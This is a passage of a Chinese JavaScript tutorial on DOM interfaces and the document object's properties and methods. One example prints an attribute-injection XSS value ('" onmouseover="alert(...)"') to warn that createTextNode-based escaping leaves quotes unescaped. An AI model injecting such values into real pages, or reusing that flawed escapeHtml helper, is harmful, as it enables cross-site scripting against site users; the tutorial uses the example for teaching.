// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.pic === pic // true
```

上面代码中，`document.images`是一个`HTMLCollection`实例，可以通过`<img>`元素的`id`属性值，从`HTMLCollection`实例上取到这个元素。

#### length()

`HTMLCollection.prototype.length`属性返回`HTMLCollection`实例包含的成员数量。

#### item()

`HTMLCollection.prototype.item()`方法接受一个整数值作为参数，表示成员的位置，返回该位置上的成员。

#### namedItem()

`HTMLCollection.prototype.namedItem()`方法的参数是一个字符串，表示`id`属性或`name`属性的值，返回当前集合中对应的元素节点。如果没有对应的节点，则返回`null`。

```js
// HTML 代码如下
// <img id="pic" src="http://example.com/foo.jpg">

var pic = document.getElementById('pic');
document.images.namedItem('pic') === pic // true
```

**ParentNode 接口，ChildNode 接口**：

节点对象除了继承 Node 接口以外，还拥有其他接口。

`ParentNode`接口表示当前节点是一个父节点，提供一些处理子节点的方法。`ChildNode`接口表示当前节点是一个子节点，提供一些相关方法。

### ParentNode 接口

如果当前节点是父节点，就会混入了（mixin）`ParentNode`接口。

由于只有元素节点（element）、文档节点（document）和文档片段节点（documentFragment）拥有子节点，因此只有这三类节点会拥有`ParentNode`接口。

#### ParentNode.children

`children`属性返回一个`HTMLCollection`实例，成员是当前节点的**所有元素子节点**。该属性只读。

下面是遍历某个节点的所有元素子节点的示例。

```js
for (var i = 0; i < el.children.length; i++) {
  // ...
}
```

注意，`children`属性只包括元素子节点，不包括其他类型的子节点（比如文本子节点）。如果没有元素类型的子节点，返回值`HTMLCollection`实例的`length`属性为`0`。

另外，`HTMLCollection`是动态集合，会实时反映 DOM 的任何变化。

#### ParentNode.firstElementChild

`firstElementChild`属性返回当前节点的第一个元素子节点。如果没有任何元素子节点，则返回`null`。

```js
document.firstElementChild.nodeName
// "HTML"
```

#### ParentNode.lastElementChild

`lastElementChild`属性返回当前节点的最后一个元素子节点，如果不存在任何元素子节点，则返回`null`。

#### ParentNode.childElementCount

`childElementCount`属性返回一个整数，表示当前节点的所有元素子节点的数目。如果不包含任何元素子节点，则返回`0`。

#### ParentNode.append()

`append()`方法为当前节点追加一个或多个子节点，位置是最后一个元素子节点的后面，该方法没有返回值。

该方法不仅可以添加元素子节点（参数为元素节点），还可以添加文本子节点（参数为字符串）。

```js
var parent = document.body;

// 添加元素子节点
var p = document.createElement('p');
parent.append(p);

// 添加文本子节点
parent.append('Hello');

// 添加多个元素子节点
var p1 = document.createElement('p');
var p2 = document.createElement('p');
parent.append(p1, p2);

// 添加元素子节点和文本子节点
var p = document.createElement('p');
parent.append('Hello', p);
```

注意，该方法与`Node.prototype.appendChild()`方法有三点不同。

* `append()`允许字符串作为参数，`appendChild()`只允许子节点作为参数。
* `append()`没有返回值，而`appendChild()`返回添加的子节点。
* `append()`可以添加多个子节点和字符串（即允许多个参数），`appendChild()`只能添加一个节点（即只允许一个参数）。

#### ParentNode.prepend()

`prepend()`方法为当前节点追加一个或多个子节点，位置是第一个元素子节点的前面。它的用法与`append()`方法完全一致，也是没有返回值。

### ChildNode 接口

如果一个节点有父节点，那么该节点就拥有了ChildNode接口。

#### ChildNode.remove()

`remove()`方法用于从父节点移除当前节点。

```js
el.remove()
```

上面代码在 DOM 里面移除了`el`节点。

#### ChildNode.before()

`before()`方法用于在当前节点的前面，插入一个或多个同级节点。两者拥有相同的父节点。

注意，该方法不仅可以插入元素节点，还可以插入文本节点。

```js
var p = document.createElement('p');
var p1 = document.createElement('p');

// 插入元素节点
el.before(p);

// 插入文本节点
el.before('Hello');

// 插入多个元素节点
el.before(p, p1);

// 插入元素节点和文本节点
el.before(p, 'Hello');
```

#### ChildNode.after()

`after()`方法用于在当前节点的后面，插入一个或多个同级节点，两者拥有相同的父节点。用法与`before`方法完全相同。

#### ChildNode.replaceWith()

`replaceWith()`方法使用参数节点，替换当前节点。参数可以是元素节点，也可以是文本节点。

```js
var span = document.createElement('span');
el.replaceWith(span);
```

上面代码中，`el`节点将被`span`节点替换。

### Document 节点

#### 概述

`document`节点对象代表整个文档，每张网页都有自己的`document`对象。

`window.document`属性就指向这个对象。只要浏览器开始载入 HTML 文档，该对象就存在了，可以直接使用。

`document`对象有不同的办法可以获取。

* 正常的网页，直接使用`document`或`window.document`。
* `iframe`框架里面的网页，使用`iframe`节点的`contentDocument`属性。
* Ajax 操作返回的文档，使用`XMLHttpRequest`对象的`responseXML`属性。
* 内部节点的`ownerDocument`属性。

`document`对象继承了`EventTarget`接口和`Node`接口，并且混入（mixin）了`ParentNode`接口。

这意味着，这些接口的方法都可以在`document`对象上调用。除此之外，`document`对象还有很多自己的属性和方法。

#### 快捷方式属性

以下属性是指向文档内部的某个节点的快捷方式。

**（1）document.defaultView**

`document.defaultView`属性返回`document`对象所属的`window`对象。如果当前文档不属于`window`对象，该属性返回`null`。

```js
document.defaultView === window // true
```

**（2）document.doctype**

对于 HTML 文档来说，`document`对象一般有两个子节点。第一个子节点是`document.doctype`，指向`<DOCTYPE>`节点，即文档类型（Document Type Declaration，简写DTD）节点。

HTML 的文档类型节点，一般写成`<!DOCTYPE html>`。如果网页没有声明 DTD，该属性返回`null`。

`document.firstChild`通常就返回这个节点。

**（3）document.documentElement**

`document.documentElement`属性返回当前文档的根元素节点（root）。

它通常是`document`节点的第二个子节点，紧跟在`document.doctype`节点后面。HTML网页的该属性，一般是`<html>`节点。

**（4）document.body，document.head**

`document.body`属性指向`<body>`节点，`document.head`属性指向`<head>`节点。

这两个属性总是存在的，如果网页源码里面省略了`<head>`或`<body>`，浏览器会自动创建。另外，这两个属性是可写的，如果改写它们的值，相当于移除所有子节点。

**（5）document.scrollingElement**

`document.scrollingElement`属性返回文档的滚动元素。也就是说，当文档整体滚动时，到底是哪个元素在滚动。

标准模式下，这个属性返回的文档的根元素`document.documentElement`（即`<html>`）。兼容（quirk）模式下，返回的是`<body>`元素，如果该元素不存在，返回`null`。

**（6）document.activeElement**

`document.activeElement`属性返回获得**当前焦点（focus）的 DOM 元素**。通常，这个属性返回的是`<input>`、`<textarea>`、`<select>`等表单元素，如果当前没有焦点元素，返回`<body>`元素或`null`。

**（7）document.fullscreenElement**

`document.fullscreenElement`属性返回当前以全屏状态展示的 DOM 元素。如果不是全屏状态，该属性返回`null`。

```js
if (
  document.fullscreenElement && 
  document.fullscreenElement.nodeName == 'VIDEO'
) {
  console.log('全屏播放视频');
}
```

上面代码中，通过`document.fullscreenElement`可以知道`<video>`元素有没有处在全屏状态，从而判断用户行为。

#### 节点集合属性

以下属性返回一个`HTMLCollection`实例，表示文档内部特定元素的集合。这些集合都是动态的，原节点有任何变化，立刻会反映在集合中。

**（1）document.links**

`document.links`属性返回当前文档所有设定了`href`属性的`<a>`及`<area>`节点。

**（2）document.forms**

`document.forms`属性返回所有`<form>`表单节点。

除了使用位置序号，`id`属性和`name`属性也可以用来引用表单。

```js
document.forms[0] === document.forms.foo
```

**（3）document.images**

`document.images`属性返回页面所有`<img>`图片节点。

```js
var imglist = document.images;

for(var i = 0; i < imglist.length; i++) {
  if (imglist[i].src === 'banner.gif') {
    // ...
  }
}
```

上面代码在所有`img`标签中，寻找某张图片。

**（4）document.embeds，document.plugins**

`document.embeds`属性和`document.plugins`属性，都返回所有`<embed>`节点。

**（5）document.scripts**

`document.scripts`属性返回所有`<script>`节点。

```js
var scripts = document.scripts;
if (scripts.length !== 0 ) {
  console.log('当前网页有脚本');
}
```

**（6）document.styleSheets**

`document.styleSheets`属性返回网页内嵌或引入的 CSS 样式表集合。

**（7）小结**

除了`document.styleSheets`属性，以上的其他集合属性返回的都是`HTMLCollection`实例。`document.styleSheets`属性返回的是`StyleSheetList`实例。

```js
document.links instanceof HTMLCollection // true
document.images instanceof HTMLCollection // true
document.forms instanceof HTMLCollection // true
document.embeds instanceof HTMLCollection // true
document.scripts instanceof HTMLCollection // true
```

`HTMLCollection`实例是类似数组的对象，所以上面这些属性都有`length`属性，都可以使用方括号运算符引用成员。

如果成员有`id`或`name`属性，还可以用这两个属性的值，在`HTMLCollection`实例上引用到这个成员。

#### 文档静态信息属性

以下属性返回文档信息。

**（1）document.documentURI，document.URL**

`document.documentURI`属性和`document.URL`属性都返回一个字符串，表示当前文档的网址（带锚点）。

不同之处是它们继承自不同的接口，

`documentURI`继承自`Document`接口，可用于所有文档；

`URL`继承自`HTMLDocument`接口，只能用于 HTML 文档。

如果文档的锚点（`#anchor`）变化，这两个属性都会跟着变化。

**（2）document.domain**

`document.domain`属性返回当前文档的域名，不包含协议和端口。

比如，网页的网址是`http://www.example.com:80/hello.html`，那么`document.domain`属性就等于`www.example.com`。如果无法获取域名，该属性返回`null`。

`document.domain`基本上是一个只读属性，只有一种情况除外。

次级域名的网页，可以把`document.domain`设为对应的上级域名。比如，当前域名是`a.sub.example.com`，则`document.domain`属性可以设置为`sub.example.com`，也可以设为`example.com`。修改后，`document.domain`相同的两个网页，可以读取对方的资源，比如设置的 Cookie。

另外，设置`document.domain`会导致端口被改成`null`。因此，如果通过设置`document.domain`来进行通信，双方网页都必须设置这个值，才能保证端口相同。

**（3）document.location**

`Location`对象是浏览器提供的原生对象，**提供 URL 相关的信息和操作方法**。通过`window.location`和`document.location`属性，可以拿到这个对象。

**（4）document.lastModified**

`document.lastModified`属性返回一个字符串，表示当前文档最后修改的时间。不同浏览器的返回值，日期格式是不一样的。

注意，`document.lastModified`属性的值是字符串，所以不能直接用来比较。`Date.parse`方法将其转为`Date`实例，才能比较两个网页。

```js
var lastVisitedDate = Date.parse('01/01/2018');
if (Date.parse(document.lastModified) > lastVisitedDate) {
  console.log('网页已经变更');
}
```

如果页面上有 JavaScript 生成的内容，`document.lastModified`属性返回的总是当前时间。

**（5）document.title**

`document.title`属性返回当前文档的标题。默认情况下，返回`<title>`节点的值。但是该属性是可写的，一旦被修改，就返回修改后的值。

**（6）document.characterSet**

`document.characterSet`属性返回当前文档的编码，比如`UTF-8`、`ISO-8859-1`等等。

**（7）document.referrer**

`document.referrer`属性返回一个字符串，表示当前文档的访问者来自哪里。

如果无法获取来源，或者用户直接键入网址而不是从其他网页点击进入，`document.referrer`返回一个空字符串。

`document.referrer`的值，总是与 HTTP 头信息的`Referer`字段保持一致。但是，`document.referrer`的拼写有两个`r`，而头信息的`Referer`字段只有一个`r`。

**（8）document.dir**

`document.dir`返回一个字符串，表示文字方向。它只有两个可能的值：`rtl`表示文字从右到左，阿拉伯文是这种方式；`ltr`表示文字从左到右，包括英语和汉语在内的大多数文字采用这种方式。

**（9）document.compatMode**

`compatMode`属性返回浏览器处理文档的模式，可能的值为`BackCompat`（向后兼容模式）和`CSS1Compat`（严格模式）。

一般来说，如果网页代码的第一行设置了明确的`DOCTYPE`（比如`<!doctype html>`），`document.compatMode`的值都为`CSS1Compat`。

#### 文档状态属性

**（1）document.hidden**

`document.hidden`属性返回一个布尔值，表示当前页面是否可见。如果窗口最小化、浏览器切换了 Tab，都会导致导致页面不可见，使得`document.hidden`返回`true`。

这个属性是 Page Visibility API 引入的，一般都是配合这个 API 使用。

**（2）document.visibilityState**

`document.visibilityState`返回文档的可见状态。

它的值有四种可能。

* `visible`：页面可见。注意，页面可能是部分可见，即不是焦点窗口，前面被其他窗口部分挡住了。
* `hidden`：页面不可见，有可能窗口最小化，或者浏览器切换到了另一个 Tab。
* `prerender`：页面处于正在渲染状态，对于用户来说，该页面不可见。
* `unloaded`：页面从内存里面卸载了。

这个属性可以用在页面加载时，防止加载某些资源；或者页面不可见时，停掉一些页面功能。

**（3）document.readyState**

`document.readyState`属性返回当前文档的状态，共有三种可能的值。

* `loading`：加载 HTML 代码阶段（尚未完成解析）
* `interactive`：加载外部资源阶段
* `complete`：加载完成

这个属性变化的过程如下。

1. 浏览器开始解析 HTML 文档，`document.readyState`属性等于`loading`。
2. 浏览器遇到 HTML 文档中的`<script>`元素，并且没有`async`或`defer`属性，就暂停解析，开始执行脚本，这时`document.readyState`属性还是等于`loading`。
3. HTML 文档解析完成，`document.readyState`属性变成`interactive`。
4. 浏览器等待图片、样式表、字体文件等外部资源加载完成，一旦全部加载完成，`document.readyState`属性变成`complete`。

下面的代码用来检查网页是否加载成功。

```js
// 基本检查
if (document.readyState === 'complete') {
  // ...
}

// 轮询检查
var interval = setInterval(function() {
  if (document.readyState === 'complete') {
    clearInterval(interval);
    // ...
  }
}, 100);
```

另外，每次状态变化都会触发一个`readystatechange`事件。

#### document.cookie

`document.cookie`属性用来操作浏览器 Cookie。

#### document.designMode

`document.designMode`属性控制当前文档是否可编辑。该属性只有两个值`on`和`off`，默认值为`off`。一旦设为`on`，用户就可以编辑整个文档的内容。

下面代码打开`iframe`元素内部文档的`designMode`属性，就能将其变为一个所见即所得的编辑器。

```js
// HTML 代码如下
// <iframe id="editor" src="about:blank"></iframe>
var editor = document.getElementById('editor');
editor.contentDocument.designMode = 'on';
```

#### document.currentScript

`document.currentScript`属性只用在`<script>`元素的内嵌脚本或加载的外部脚本之中，返回**当前脚本**所在的那个 DOM 节点，即`<script>`元素的 DOM 节点。

```js
<script id="foo">
  console.log(
    document.currentScript === document.getElementById('foo')
  ); // true
</script>
```

上面代码中，`document.currentScript`就是`<script>`元素节点。

#### document.implementation

`document.implementation`属性返回一个`DOMImplementation`对象。该对象有三个方法，主要用于创建独立于当前文档的新的 Document 对象。

* `DOMImplementation.createDocument()`：创建一个 XML 文档。
* `DOMImplementation.createHTMLDocument()`：创建一个 HTML 文档。
* `DOMImplementation.createDocumentType()`：创建一个 DocumentType 对象。

```js
var doc = document.implementation.createHTMLDocument('Title');
var p = doc.createElement('p');
p.innerHTML = 'hello world';
doc.body.appendChild(p);

document.replaceChild(
  doc.documentElement,
  document.documentElement
);
```

上面代码中，第一步生成一个新的 HTML 文档`doc`，然后用它的根元素`doc.documentElement`替换掉`document.documentElement`。这会使得当前文档的内容全部消失，变成`hello world`。

#### document.open()

`document.open`方法清除当前文档所有内容，使得文档处于可写状态，供`document.write`方法写入内容。

#### document.close()

`document.close`方法用来关闭`document.open()`打开的文档。

```js
document.open();
document.write('hello world');
document.close();
```

#### document.write()

`document.write`方法用于向当前文档写入内容。

在网页的首次渲染阶段，只要页面没有关闭写入（即没有执行`document.close()`），`document.write`写入的内容就会追加在已有内容的后面。

注意，`document.write`会当作 HTML 代码解析，不会转义。

如果页面已经解析完成（`DOMContentLoaded`事件发生之后），再调用`write`方法，它会先调用`open`方法，擦除当前文档所有内容，然后再写入。

```js
document.addEventListener('DOMContentLoaded', function (event) {
  document.write('<p>Hello World!</p>');
});

// 等同于
document.addEventListener('DOMContentLoaded', function (event) {
  document.open();
  document.write('<p>Hello World!</p>');
  document.close();
});
```

如果在页面渲染过程中调用`write`方法，并不会自动调用`open`方法。（可以理解成，`open`方法已调用，但`close`方法还未调用。）

`document.write`是 JavaScript 语言标准化之前就存在的方法，现在完全有更符合标准的方法向文档写入内容（比如对`innerHTML`属性赋值）。所以，除了某些特殊情况，应该尽量避免使用`document.write`这个方法。

#### document.writeln()

`document.writeln`方法与`write`方法完全一致，除了会在输出内容的尾部添加换行符。

注意，`writeln`方法添加的是 ASCII 码的换行符，渲染成 HTML 网页时不起作用，即在网页上显示不出换行。网页上的换行，必须显式写入`<br>`。

#### document.querySelector()

`document.querySelector`方法接受一个 CSS 选择器作为参数，返回匹配该选择器的元素节点。如果有多个节点满足匹配条件，则返回第一个匹配的节点。如果没有发现匹配的节点，则返回`null`。

```js
var el1 = document.querySelector('.myclass');
```

#### document.querySelectorAll()

`document.querySelectorAll`方法与`querySelector`用法类似，区别是返回一个`NodeList`对象，包含所有匹配给定选择器的节点。

```js
elementList = document.querySelectorAll('.myclass');
```

这两个方法的参数，可以是逗号分隔的多个 CSS 选择器，返回匹配其中一个选择器的元素节点，这与 CSS 选择器的规则是一致的。

```js
var matches = document.querySelectorAll('div.note, div.alert');
```

上面代码返回`class`属性是`note`或`alert`的`div`元素。

上述的两个方法都支持复杂的 CSS 选择器。

```js
// 选中 data-foo-bar 属性等于 someval 的元素
document.querySelectorAll('[data-foo-bar="someval"]');

// 选中 myForm 表单中所有不通过验证的元素
document.querySelectorAll('#myForm :invalid');

// 选中div元素，那些 class 含 ignore 的除外
document.querySelectorAll('DIV:not(.ignore)');

// 同时选中 div，a，script 三类元素
document.querySelectorAll('DIV, A, SCRIPT');
```

但是，它们不支持 CSS 伪元素的选择器（比如`:first-line`和`:first-letter`）和伪类的选择器（比如`:link`和`:visited`），即无法选中伪元素和伪类。

如果`querySelectorAll`方法的参数是字符串`*`，则会返回文档中的所有元素节点。

另外，`querySelectorAll`的返回结果不是动态集合，不会实时反映元素节点的变化。

最后，上述两个方法除了定义在`document`对象上，还定义在元素节点上，即在元素节点上也可以调用。

#### document.getElementsByTagName()

`document.getElementsByTagName()`方法搜索 HTML 标签名，返回符合条件的元素。

它的返回值是一个类似数组对象（`HTMLCollection`实例），可以实时反映 HTML 文档的变化。如果没有任何匹配的元素，就返回一个空集。

```js
var paras = document.getElementsByTagName('p');
paras instanceof HTMLCollection // true
```

上面代码返回当前文档的所有`p`元素节点。

HTML 标签名是大小写不敏感的，因此`getElementsByTagName()`方法的参数也是大小写不敏感的。

返回结果中，各个成员的顺序就是它们在文档中出现的顺序。

如果传入`*`，就可以返回文档中所有 HTML 元素。

```js
var allElements = document.getElementsByTagName('*');
```

**注意**，元素节点本身也定义了`getElementsByTagName`方法，返回该元素的后代元素中符合条件的元素。也就是说，这个方法不仅可以在`document`对象上调用，也可以在任何元素节点上调用。

```js
var firstPara = document.getElementsByTagName('p')[0];
var spans = firstPara.getElementsByTagName('span');
```

上面代码选中第一个`p`元素内部的所有`span`元素。

#### document.getElementsByClassName()

`document.getElementsByClassName()`方法返回一个类似数组的对象（`HTMLCollection`实例），包括了所有`class`名字符合指定条件的元素，元素的变化实时反映在返回结果中。

参数可以是多个`class`，它们之间使用空格分隔。

```js
var elements = document.getElementsByClassName('foo bar');
```

上面代码返回同时具有foo和bar两个class的元素，foo和bar的顺序不重要。

注意，正常模式下，CSS 的`class`是大小写敏感的。（`quirks mode`下，大小写不敏感。）

与`getElementsByTagName()`方法一样，`getElementsByClassName()`方法不仅可以在`document`对象上调用，也可以在任何元素节点上调用。

#### document.getElementsByName()

`document.getElementsByName()`方法用于选择拥有`name`属性的 HTML 元素（比如`<form>`、`<radio>`、`<img>`、`<frame>`、`<embed>`和`<object>`等），返回一个类似数组的的对象（`NodeList`实例），因为`name`属性相同的元素可能不止一个。

```js
// 表单为 <form name="x"></form>
var forms = document.getElementsByName('x');
forms[0].tagName // "FORM"
```

#### document.getElementById()

`document.getElementById()`方法返回匹配指定`id`属性的元素节点。如果没有发现匹配的节点，则返回`null`。

注意，该方法的参数是大小写敏感的。比如，如果某个节点的`id`属性是`main`，那么`document.getElementById('Main')`将返回`null`。

`document.getElementById()`方法与`document.querySelector()`方法都能获取元素节点，不同之处是`document.querySelector()`方法的参数使用 CSS 选择器语法，`document.getElementById()`方法的参数是元素的`id`属性。

```js
document.getElementById('myElement')
document.querySelector('#myElement')
```

上面代码中，两个方法都能选中`id`为`myElement`的元素，但是`document.getElementById()`比`document.querySelector()`效率高得多。

另外，这个方法（`document.getElementById()`）只能在`document`对象上使用，不能在其他元素节点上使用。

#### document.elementFromPoint()

`document.elementFromPoint()`方法返回位于页面指定位置（坐标）最上层的元素节点。

```js
var element = document.elementFromPoint(50, 50);
```

上面代码选中在`(50, 50)`这个坐标位置的最上层的那个 HTML 元素。

`elementFromPoint`方法的两个参数，依次是相对于当前视口左上角的横坐标和纵坐标，单位是像素。

如果位于该位置的 HTML 元素不可返回（比如文本框的滚动条），则返回它的父元素（比如文本框）。如果坐标值无意义（比如负值或超过视口大小），则返回`null`。

#### document.elementsFromPoint()

`document.elementsFromPoint()`返回一个数组，成员是位于指定坐标（相对于视口）的所有元素。

#### document.createElement()

`document.createElement`方法用来生成元素节点，并返回该节点。

```js
var newDiv = document.createElement('div');
```

`createElement`方法的参数为元素的标签名，即元素节点的`tagName`属性，对于 HTML 网页大小写不敏感，即参数为`div`或`DIV`返回的是同一种节点。如果参数里面包含尖括号（即`<`和`>`）会报错。

注意，`document.createElement`的参数可以是**自定义的标签名**。

#### document.createTextNode()

`document.createTextNode`方法用来生成文本节点（`Text`实例），并返回该节点。它的参数是文本节点的内容。

```js
var newDiv = document.createElement('div');
var newContent = document.createTextNode('Hello');
newDiv.appendChild(newContent);
```

上面代码新建一个`div`节点和一个文本节点，然后将文本节点插入`div`节点。

这个方法可以确保返回的节点，被浏览器当作文本渲染，而不是当作 HTML 代码渲染。因此，可以用来展示用户的输入，避免 XSS 攻击。

```js
var div = document.createElement('div');
div.appendChild(document.createTextNode('<span>Foo & bar</span>'));
console.log(div.innerHTML)
// &lt;span&gt;Foo &amp; bar&lt;/span&gt;
```

上面代码中，`createTextNode`方法对大于号和小于号进行转义，从而保证即使用户输入的内容包含恶意代码，也能正确显示。

需要注意的是，**该方法不对单引号和双引号转义**，所以不能用来对 HTML 属性赋值。

```js
function escapeHtml(str) {
  var div = document.createElement('div');
  div.appendChild(document.createTextNode(str));
  return div.innerHTML;
};

var userWebsite = '" onmouseover="alert(\'derp\')" "';
var profileLink = '<a href="' + escapeHtml(userWebsite) + '">Bob</a>';
var div = document.getElementById('target');
div.innerHTML = profileLink;
// <a href="" onmouseover="alert('derp')" "">Bob</a>
```

上面代码中，由于`createTextNode`方法不转义双引号，导致`onmouseover`方法被注入了代码。

#### document.createAttribute()

`document.createAttribute`方法生成一个新的属性节点（`Attr`实例），并返回它。

```js
var attribute = document.createAttribute(name);
```

```js
var node = document.getElementById('div1');

var a = document.createAttribute('my_attrib');
a.value = 'newVal';

node.setAttributeNode(a);
// 或者
node.setAttribute('my_attrib', 'newVal');
```

`document.createAttribute`方法的参数 `name`，是属性的名称。

#### document.createComment()

`document.createComment`方法生成一个新的注释节点，并返回该节点。

```js
var CommentNode = document.createComment(data);
```

`document.createComment`方法的参数是一个字符串，会成为注释节点的内容。

#### document.createDocumentFragment()

`document.createDocumentFragment`方法生成一个空的文档片段对象（`DocumentFragment`实例）。

```js
var docFragment = document.createDocumentFragment();
```

`DocumentFragment`是一个存在于内存的 DOM 片段，不属于当前文档，常常用来生成一段较复杂的 DOM 结构，然后再插入当前文档。

这样做的好处在于，因为 `DocumentFragment`不属于当前文档，对它的任何改动，都不会引发网页的重新渲染，比直接修改当前文档的 DOM 有更好的性能表现。

```js
var docfrag = document.createDocumentFragment();

[1, 2, 3, 4].forEach(function (e) {
  var li = document.createElement('li');
  li.textContent = e;
  docfrag.appendChild(li);
});

var element  = document.getElementById('ul');
element.appendChild(docfrag);
```

上面代码中，文档片段 `docfrag`包含四个 `<li>`节点，这些子节点被一次性插入了当前文档。

#### document.createEvent()

`document.createEvent`方法生成一个事件对象（`Event`实例），该对象可以被 `element.dispatchEvent`方法使用，触发指定事件。

```js
var event = document.createEvent(type);
```

`document.createEvent`方法的参数是事件类型，比如 `UIEvents`、`MouseEvents`、`MutationEvents`、`HTMLEvents`。

```js
var event = document.createEvent('Event');
event.initEvent('build', true, true);
document.addEventListener('build', function (e) {
  console.log(e.type); // "build"
}, false);
document.dispatchEvent(event);
```

上面代码新建了一个名为 `build`的事件实例，然后触发该事件。

#### document.addEventListener()

#### document.removeEventListener()

#### document.dispatchEvent()

这三个方法用于处理 `document`节点的事件。它们都继承自 `EventTarget`接口。

```js
// 添加事件监听函数
document.addEventListener('click', listener, false);

// 移除事件监听函数
document.removeEventListener('click', listener, false);

// 触发事件
var event = new Event('click');
document.dispatchEvent(event);
```

#### document.hasFocus()

`document.hasFocus`方法返回一个布尔值，表示当前文档之中是否有元素被激活或获得焦点。

```js
var focused = document.hasFocus();
```

注意，有焦点的文档必定被激活（active），反之不成立，激活的文档未必有焦点。比如，用户点击按钮，从当前窗口跳出一个新窗口，该新窗口就是激活的，但是不拥有焦点。

#### document.adoptNode()

`document.adoptNode`方法将某个节点及其子节点，从原来所在的文档或`DocumentFragment`里面移除，归属当前`document`对象，返回插入后的新节点。

插入的节点对象的`ownerDocument`属性，会变成当前的`document`对象，而`parentNode`属性是`null`。

```js
var node = document.adoptNode(externalNode);
document.appendChild(node);
```

**注意**，`document.adoptNode`方法只是改变了节点的归属，并没有将这个节点插入新的文档树。所以，还要再用`appendChild`方法或`insertBefore`方法，将新节点插入当前文档树。

#### document.importNode()

`document.importNode`方法则是从原来所在的文档或`DocumentFragment`里面，拷贝某个节点及其子节点，让它们归属当前`document`对象。

拷贝的节点对象的`ownerDocument`属性，会变成当前的`document`对象，而`parentNode`属性是`null`。

```js
var node = document.importNode(externalNode, deep);
```

`document.importNode`方法的第一个参数是外部节点，第二个参数是一个布尔值，表示对外部节点是深拷贝还是浅拷贝，默认是浅拷贝（false）。虽然第二个参数是可选的，但是建议总是保留这个参数，并设为`true`。

**注意**，`document.importNode`方法只是拷贝外部节点，这时该节点的父节点是`null`。下一步还必须将这个节点插入当前文档树。

```js
var iframe = document.getElementsByTagName('iframe')[0];
var oldNode = iframe.contentWindow.document.getElementById('myNode');
var newNode = document.importNode(oldNode, true);
document.getElementById("container").appendChild(newNode);
```

上面代码从`iframe`窗口，拷贝一个指定节点`myNode`，插入当前文档。

#### document.createNodeIterator()

`document.createNodeIterator`方法返回一个子节点遍历器。

```js
var nodeIterator = document.createNodeIterator(
  document.body,
  NodeFilter.SHOW_ELEMENT
);
```

上面代码返回`<body>`元素子节点的遍历器。

`document.createNodeIterator`方法第一个参数为所要遍历的根节点，第二个参数为所要遍历的节点类型，这里指定为元素节点（`NodeFilter.SHOW_ELEMENT`）。几种主要的节点类型写法如下。

* 所有节点：NodeFilter.SHOW\_ALL
* 元素节点：NodeFilter.SHOW\_ELEMENT
* 文本节点：NodeFilter.SHOW\_TEXT
* 评论节点：NodeFilter.SHOW\_COMMENT

`document.createNodeIterator`方法返回一个“遍历器”对象（`NodeFilter`实例）。该实例的`nextNode()`方法和`previousNode()`方法，可以用来遍历所有子节点。

```js
var nodeIterator = document.createNodeIterator(document.body);
var pars = [];
var currentNode;

while (currentNode = nodeIterator.nextNode()) {
  pars.push(currentNode);
}
```

上面代码中，使用遍历器的`nextNode`方法，将根节点的所有子节点，依次读入一个数组。`nextNode`方法先返回遍历器的内部指针所在的节点，然后会将指针移向下一个节点。所有成员遍历完成后，返回`null`。`previousNode`方法则是先将指针移向上一个节点，然后返回该节点。

```js
var nodeIterator = document.createNodeIterator(
  document.body,
  NodeFilter.SHOW_ELEMENT
);

var currentNode = nodeIterator.nextNode();
var previousNode = nodeIterator.previousNode();

currentNode === previousNode // true
```

上面代码中，`currentNode`和`previousNode`都指向同一个的节点。

注意，遍历器返回的第一个节点，总是根节点。

```
pars[0] === document.body // true
```

#### document.createTreeWalker()

`document.createTreeWalker`方法返回一个 DOM 的子树遍历器。它与`document.createNodeIterator`方法基本是类似的，区别在于它返回的是`TreeWalker`实例，后者返回的是`NodeIterator`实例。另外，它的第一个节点不是根节点。

`document.createTreeWalker`方法的第一个参数是所要遍历的根节点，第二个参数指定所要遍历的节点类型（与`document.createNodeIterator`方法的第二个参数相同）。

```js
var treeWalker = document.createTreeWalker(
  document.body,
  NodeFilter.SHOW_ELEMENT
);

var nodeList = [];

while(treeWalker.nextNode()) {
  nodeList.push(treeWalker.currentNode);
}
```

上面代码遍历`<body>`节点下属的所有元素节点，将它们插入`nodeList`数组。

#### document.execCommand()

如果`document.designMode`属性设为`on`，那么整个文档用户可编辑；如果元素的`contenteditable`属性设为`true`，那么该元素可编辑。这两种情况下，可以使用`document.execCommand()`方法，改变内容的样式，比如`document.execCommand('bold')`会使得字体加粗。

```js
document.execCommand(command, showDefaultUI, input)
```

该方法接受三个参数。

* `command`：字符串，表示所要实施的样式。
* `showDefaultUI`：布尔值，表示是否要使用默认的用户界面，建议总是设为`false`。
* `input`：字符串，表示该样式的辅助内容，比如生成超级链接时，这个参数就是所要链接的网址。如果第二个参数设为`true`，那么浏览器会弹出提示框，要求用户在提示框输入该参数。但是，不是所有浏览器都支持这样做，为了兼容性，还是需要自己部署获取这个参数的方式。

```js
var url = window.prompt('请输入网址');

if (url) {
  document.execCommand('createlink', false, url);
}
```

上面代码中，先提示用户输入所要链接的网址，然后手动生成超级链接。注意，第二个参数是`false`，表示此时不需要自动弹出提示框。

`document.execCommand()`的返回值是一个布尔值。如果为`false`，表示这个方法无法生效。

这个方法大部分情况下，只对选中的内容生效。如果有多个内容可编辑区域，那么只对当前焦点所在的元素生效。

`document.execCommand()`方法可以执行的样式改变有很多种，下面是其中的一些：bold、insertLineBreak、selectAll、createLink、insertOrderedList、subscript、delete、insertUnorderedList、superscript、formatBlock、insertParagraph、undo、forwardDelete、insertText、unlink、insertImage、italic、unselect、insertHTML、redo。这些值都可以用作第一个参数，它们的含义不难从字面上看出来。

#### document.queryCommandSupported()

`document.queryCommandSupported()`方法返回一个布尔值，表示浏览器是否支持`document.execCommand()`的某个命令。

```js
if (document.queryCommandSupported('SelectAll')) {
  console.log('浏览器支持选中可编辑区域的所有内容');
}
```

#### document.queryCommandEnabled()

`document.queryCommandEnabled()`方法返回一个布尔值，表示当前是否可用`document.execCommand()`的某个命令。比如，`bold`（加粗）命令只有存在文本选中时才可用，如果没有选中文本，就不可用。

```js
// HTML 代码为
// <input type="button" value="Copy" onclick　　="doCopy()">

function doCopy(){
  // 浏览器是否支持 copy 命令（选中内容复制到剪贴板）
  if (document.queryCommandSupported('copy')) {
    copyText('你好');
  }else{
    console.log('浏览器不支持');
  }
}

function copyText(text) {
  var input = document.createElement('textarea');
  document.body.appendChild(input);
  input.value = text;
  input.focus();
  input.select();

  // 当前是否有选中文字
  if (document.queryCommandEnabled('copy')) {
    var success = document.execCommand('copy');
    input.remove();
    console.log('Copy Ok');
  } else {
